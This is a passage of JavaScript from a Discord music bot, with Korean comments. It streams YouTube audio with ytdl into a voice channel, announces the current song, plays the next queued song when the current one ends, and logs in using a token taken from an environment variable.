	const queue = queueMap.get(guildId);
	if (!song) {
		queue.connection.destroy();
		queueMap.delete(guildId);
		return;
	}
	// 스트림 생성
	const stream = ytdl(song.url, { filter: 'audioonly', highWaterMark: 1 << 25 });
	const resource = createAudioResource(stream);
	queue.player.play(resource);
	queue.connection.subscribe(queue.player);

	// 텍스트 알림
	queue.textChannel.send(`▶️ 재생: 🦐 ${song.title} 🦐`);

	// 노래 종료 후 처리
	queue.player.once(AudioPlayerStatus.Idle, () => {
		playSong(guildId, queue.songs.shift());
	});
}

// 로그인 실행
client.login(process.env.DISCORD_TOKEN);